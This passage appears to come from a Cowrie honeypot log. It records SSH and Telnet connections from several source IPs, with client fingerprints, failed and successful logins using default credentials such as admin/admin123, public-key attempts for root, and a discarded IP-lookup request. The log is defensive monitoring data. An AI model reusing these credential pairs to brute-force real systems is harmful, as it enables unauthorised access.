sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:29:35.934163Z","src_ip":"27.79.1.70","session":"281521a83d7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:29:37.052395Z","src_ip":"27.79.1.70","session":"281521a83d7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:29:38.751239Z","src_ip":"27.79.1.70","session":"281521a83d7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":49448,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b8009934530","protocol":"ssh","message":"New connection: 147.45.199.80:49448 (159.203.135.109:22) [session: 7b8009934530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:29:49.961925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:29:49.966454Z","src_ip":"147.45.199.80","session":"7b8009934530","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:29:50.061996Z","src_ip":"147.45.199.80","session":"7b8009934530","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"05051985","message":"login attempt [root/05051985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:29:50.347799Z","src_ip":"147.45.199.80","session":"7b8009934530","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:29:51.445774Z","src_ip":"147.45.199.80","session":"7b8009934530","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.158.146","src_port":52062,"dst_ip":"159.203.135.109","dst_port":22,"session":"65d37f91d658","protocol":"ssh","message":"New connection: 116.110.158.146:52062 (159.203.135.109:22) [session: 65d37f91d658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:30:40.306685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:30:40.312641Z","src_ip":"116.110.158.146","session":"65d37f91d658","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:30:40.781397Z","src_ip":"116.110.158.146","session":"65d37f91d658","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:30:42.564161Z","src_ip":"116.110.158.146","session":"65d37f91d658","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"ip-who.com","dst_port":80,"src_ip":"116.110.158.146","src_port":0,"message":"direct-tcp connection request to ip-who.com:80 from :0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:30:42.846498Z","session":"65d37f91d658","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"ip-who.com","dst_port":80,"ja4h":"ge11nn010000_4740ae6347b0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to ip-who.com:80: ge11nn010000_4740ae6347b0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:30:43.141535Z","src_ip":"116.110.158.146","session":"65d37f91d658","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"ip-who.com","dst_port":80,"data":"b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:30:43.146449Z","src_ip":"116.110.158.146","session":"65d37f91d658","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:30:43.424513Z","src_ip":"116.110.158.146","session":"65d37f91d658","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":53470,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc8798b4efe5","protocol":"telnet","message":"New connection: 180.235.129.180:53470 (10.17.0.5:23) [session: cc8798b4efe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:31:23.724204Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.255.100.196","src_port":36818,"dst_ip":"10.17.0.5","dst_port":22,"session":"bec483e8892a","protocol":"ssh","message":"New connection: 185.255.100.196:36818 (10.17.0.5:22) [session: bec483e8892a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:31:39.101095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:31:39.105474Z","src_ip":"185.255.100.196","session":"bec483e8892a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:31:39.112356Z","src_ip":"185.255.100.196","session":"bec483e8892a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:97:50:24:bb:21:c7:68:0e:86:cf:6b:6a:d1:d5:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIvfEv+VPf9EyKkcWsXhzgeUJJYJjxTounn5wub+8yIxoczrIKto4PclIxvliIncS6w2Hf/fNTD2oTaps2VoFQoHEMMLaZy8o9oSSRoV2WrsrUHKCBflEjKngft8IBiKEjT/m4F0CZQPanNip9OIhVeOaPULJZ1abZ6pjHf9DLg7pAGqaKsUQ8XGWtNoQaG2c6RcLxBgVdAsjRIZFQuDlkPeXRIYzxip2n87V6+DqTkg3zMyGRJxlRfcPhm8iAoLXAL2lXn3xF3cr2bL8iKOXxA31tOxermppi8h90COxeLHYd91UplFT2WIGzqHUJbiSptn/h2XN7A3a2/uB0khRFq4Yqe90jT/aBV8/4valUHPiydtJh3ORJiBnJPVh5EIiXKDyc2bbNmXkbmr5O41BH6BaitHOLLeom4I1C3fdHfaPGjaUZDaQ5ek9zzg9ljhHIX9rjxgTeZlW4AOAN4M76kuuZ2R2k/JS8H2dacMWVf5rL3v2KcE1lBsRdxyIhMrHsp2WDRrtoawE7N0lZ8HxaBNIgcFzMuE7MWUYZ8DZGKsXDe+0s3r4PVEZ+hDBKRwvrxS5lNXfTnET1eyWllLK2+rWGMj5EwnUiKIljv5EFcx/zthQ2npSrVY9CrrTwyo/5nilmgY1zCfg6zgmBEFt/JsHVujF3HsYko2u4WJxraw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:97:50:24:bb:21:c7:68:0e:86:cf:6b:6a:d1:d5:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:31:39.126839Z","src_ip":"185.255.100.196","session":"bec483e8892a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:97:50:24:bb:21:c7:68:0e:86:cf:6b:6a:d1:d5:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIvfEv+VPf9EyKkcWsXhzgeUJJYJjxTounn5wub+8yIxoczrIKto4PclIxvliIncS6w2Hf/fNTD2oTaps2VoFQoHEMMLaZy8o9oSSRoV2WrsrUHKCBflEjKngft8IBiKEjT/m4F0CZQPanNip9OIhVeOaPULJZ1abZ6pjHf9DLg7pAGqaKsUQ8XGWtNoQaG2c6RcLxBgVdAsjRIZFQuDlkPeXRIYzxip2n87V6+DqTkg3zMyGRJxlRfcPhm8iAoLXAL2lXn3xF3cr2bL8iKOXxA31tOxermppi8h90COxeLHYd91UplFT2WIGzqHUJbiSptn/h2XN7A3a2/uB0khRFq4Yqe90jT/aBV8/4valUHPiydtJh3ORJiBnJPVh5EIiXKDyc2bbNmXkbmr5O41BH6BaitHOLLeom4I1C3fdHfaPGjaUZDaQ5ek9zzg9ljhHIX9rjxgTeZlW4AOAN4M76kuuZ2R2k/JS8H2dacMWVf5rL3v2KcE1lBsRdxyIhMrHsp2WDRrtoawE7N0lZ8HxaBNIgcFzMuE7MWUYZ8DZGKsXDe+0s3r4PVEZ+hDBKRwvrxS5lNXfTnET1eyWllLK2+rWGMj5EwnUiKIljv5EFcx/zthQ2npSrVY9CrrTwyo/5nilmgY1zCfg6zgmBEFt/JsHVujF3HsYko2u4WJxraw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:31:39.130410Z","src_ip":"185.255.100.196","session":"bec483e8892a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"65:d0:cc:77:70:0a:a7:77:ce:4e:ea:f9:93:cf:1d:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7BKw5DLp00fPaEOc4qT8BCxnZMDkCwZ2ixd5Y3GI5PqKHmwZMfyqxtauEPKOCCuzQH+LVECbTSsXS6KnHypGpU2zAageMBlSWVi1RYH8OAkOn+q1Y7ibiNuc5o/r2upSI7zN8N1AMx4TjFbH3Kf/9iA/6UzKCjL0sKu/GTEOM/nkJz0UFx26jxpg5UjzbvYVxy0eCThjB8Kku0KvwAjujTnn+6Abcg8muDFrx5Z0gpZKqyhZVNpvejgZdfJgSzO2zzs43ztPgI+CrDeinnwqnIcQgzKdIRhbByaDWD77Xm4xC+HXq2R/qEhj62ULrWLywsr9wBUpA3/nH7DlRNqlv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 65:d0:cc:77:70:0a:a7:77:ce:4e:ea:f9:93:cf:1d:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:31:39.139691Z","src_ip":"185.255.100.196","session":"bec483e8892a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"65:d0:cc:77:70:0a:a7:77:ce:4e:ea:f9:93:cf:1d:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7BKw5DLp00fPaEOc4qT8BCxnZMDkCwZ2ixd5Y3GI5PqKHmwZMfyqxtauEPKOCCuzQH+LVECbTSsXS6KnHypGpU2zAageMBlSWVi1RYH8OAkOn+q1Y7ibiNuc5o/r2upSI7zN8N1AMx4TjFbH3Kf/9iA/6UzKCjL0sKu/GTEOM/nkJz0UFx26jxpg5UjzbvYVxy0eCThjB8Kku0KvwAjujTnn+6Abcg8muDFrx5Z0gpZKqyhZVNpvejgZdfJgSzO2zzs43ztPgI+CrDeinnwqnIcQgzKdIRhbByaDWD77Xm4xC+HXq2R/qEhj62ULrWLywsr9wBUpA3/nH7DlRNqlv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:31:39.142720Z","src_ip":"185.255.100.196","session":"bec483e8892a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:55:8c:59:7b:fb:1d:21:bb:b1:33:cb:46:02:6b:48","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPa7NsSeKG2eYNr96w+EdVivI92V5XluB3HPG3W4t1kSifzE0S5mKrNd40QOK3abp+2orf56X2SKVPJAA/gmWFBIC2GEEDfvnA3LXCW9ytXqvtxkTCzs03HWRV1jgDMwauMYfmNETSTw1JRw9/0f08KdnAGVuBklhN8gP8Ddc0jrAAAAFQCDLi9IQ8LpjGfTB8ZmRBpc4P24WwAAAIA/V6p3wTbfrZL6BQ9r/nSio4FxMnSWdzBdqzOrEW/+6NBvBXAZhfVqbD/1kjSbp+BJTqSnbzlDKulEuqNAEB9a0GDIIOjf+JL+3p3AzUZrw2juGwe2ExdfvOwoVJkJGAIc3sIXzBYJ8xPy5x80QNfgq8mofOpYT9obcTLGrw6oogAAAIEAivxVx0IJbrvacqGusjnQnqRvGQ7s9Ignzf9RVhQbxVAH1MPjpM/VxNAsJzUA8ETln0DlVsfbRhrzJff6I75rJtPkdz6bK75mXQNTFq+EubrjTR7b1J35ArD5JhYp1drb6jQckmUT1pOnQfizP/x3AKJN46Qq6EV2RPCN1GTlBRg=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint f5:55:8c:59:7b:fb:1d:21:bb:b1:33:cb:46:02:6b:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:31:39.149802Z","src_ip":"185.255.100.196","session":"bec483e8892a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:55:8c:59:7b:fb:1d:21:bb:b1:33:cb:46:02:6b:48","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPa7NsSeKG2eYNr96w+EdVivI92V5XluB3HPG3W4t1kSifzE0S5mKrNd40QOK3abp+2orf56X2SKVPJAA/gmWFBIC2GEEDfvnA3LXCW9ytXqvtxkTCzs03HWRV1jgDMwauMYfmNETSTw1JRw9/0f08KdnAGVuBklhN8gP8Ddc0jrAAAAFQCDLi9IQ8LpjGfTB8ZmRBpc4P24WwAAAIA/V6p3wTbfrZL6BQ9r/nSio4FxMnSWdzBdqzOrEW/+6NBvBXAZhfVqbD/1kjSbp+BJTqSnbzlDKulEuqNAEB9a0GDIIOjf+JL+3p3AzUZrw2juGwe2ExdfvOwoVJkJGAIc3sIXzBYJ8xPy5x80QNfgq8mofOpYT9obcTLGrw6oogAAAIEAivxVx0IJbrvacqGusjnQnqRvGQ7s9Ignzf9RVhQbxVAH1MPjpM/VxNAsJzUA8ETln0DlVsfbRhrzJff6I75rJtPkdz6bK75mXQNTFq+EubrjTR7b1J35ArD5JhYp1drb6jQckmUT1pOnQfizP/x3AKJN46Qq6EV2RPCN1GTlBRg=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:31:39.153274Z","src_ip":"185.255.100.196","session":"bec483e8892a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:a1:f9:0c:89:e5:fd:25:c0:05:d4:07:72:70:2a:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcB00EKTsTrf3EQvCTUCIfz4Ph+Gyp/dyCSXJLBrKXWirKWscuat4tU6ypXDcSiheiSMz184EVJdSjo8hTEJupPmFinxCMBfnU+BRKGvq9/s1SAuKAs57mK2v2gpwLVsaqV+ivI2vM20nSjN6N9oFlja52eD5eNvxa8lSZUh2gc2yr+JD8FR90+gORR97SWfxOVF73kyjIV7Rie87v1nPdsuqEM//CHIXcep1YlwR5FLB92OjSukMvKwTctIjn9+sBhfzeUnIpYK99ll6RVn9Aijh/2AVUqro04ZVTYVFCnsZTxNru6jbQd2gFOf49etH8VwYXPxCcvSLgPYkCGG9V","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:a1:f9:0c:89:e5:fd:25:c0:05:d4:07:72:70:2a:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:31:39.160007Z","src_ip":"185.255.100.196","session":"bec483e8892a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:a1:f9:0c:89:e5:fd:25:c0:05:d4:07:72:70:2a:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcB00EKTsTrf3EQvCTUCIfz4Ph+Gyp/dyCSXJLBrKXWirKWscuat4tU6ypXDcSiheiSMz184EVJdSjo8hTEJupPmFinxCMBfnU+BRKGvq9/s1SAuKAs57mK2v2gpwLVsaqV+ivI2vM20nSjN6N9oFlja52eD5eNvxa8lSZUh2gc2yr+JD8FR90+gORR97SWfxOVF73kyjIV7Rie87v1nPdsuqEM//CHIXcep1YlwR5FLB92OjSukMvKwTctIjn9+sBhfzeUnIpYK99ll6RVn9Aijh/2AVUqro04ZVTYVFCnsZTxNru6jbQd2gFOf49etH8VwYXPxCcvSLgPYkCGG9V","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:31:39.162627Z","src_ip":"185.255.100.196","session":"bec483e8892a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:22:5c:2a:2d:60:ba:b0:72:12:4b:33:c2:d7:c6:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5WpSOlyMsC2cxetXspKFkdds4RB2ChxyWhOafsNNXlbJaokBU+GkXY80fkVKPCbMYK6ph2P3ozfqsslWeL7ovMQaLuJB3UNIb7bMGXy2ceigrpRdH8QId8Fw8E4hJvtBtwwkngi3UmuDGtQGEE7RlZJURplICieWCGvWi2DiyrvQnYAoqeyfZp8D1IWW7c9UIAZ6q9SIl8zElcIERluy1LJwiN4ted+UyDTzk+6B1xAHvpBA4YYFO41pK30T3Ct7d7sB0EIvjs5FJ5d7Qw41Mxrtc+AVAc4oaSABjrA9bW5H6H/PsiLwYoNuCx4LBmANr9QRyafEiLZUEySUAjJn5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 96:22:5c:2a:2d:60:ba:b0:72:12:4b:33:c2:d7:c6:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:31:39.171555Z","src_ip":"185.255.100.196","session":"bec483e8892a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:22:5c:2a:2d:60:ba:b0:72:12:4b:33:c2:d7:c6:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5WpSOlyMsC2cxetXspKFkdds4RB2ChxyWhOafsNNXlbJaokBU+GkXY80fkVKPCbMYK6ph2P3ozfqsslWeL7ovMQaLuJB3UNIb7bMGXy2ceigrpRdH8QId8Fw8E4hJvtBtwwkngi3UmuDGtQGEE7RlZJURplICieWCGvWi2DiyrvQnYAoqeyfZp8D1IWW7c9UIAZ6q9SIl8zElcIERluy1LJwiN4ted+UyDTzk+6B1xAHvpBA4YYFO41pK30T3Ct7d7sB0EIvjs5FJ5d7Qw41Mxrtc+AVAc4oaSABjrA9bW5H6H/PsiLwYoNuCx4LBmANr9QRyafEiLZUEySUAjJn5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:31:39.174826Z","src_ip":"185.255.100.196","session":"bec483e8892a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:31:39.182330Z","src_ip":"185.255.100.196","session":"bec483e8892a","protocol":"ssh"}
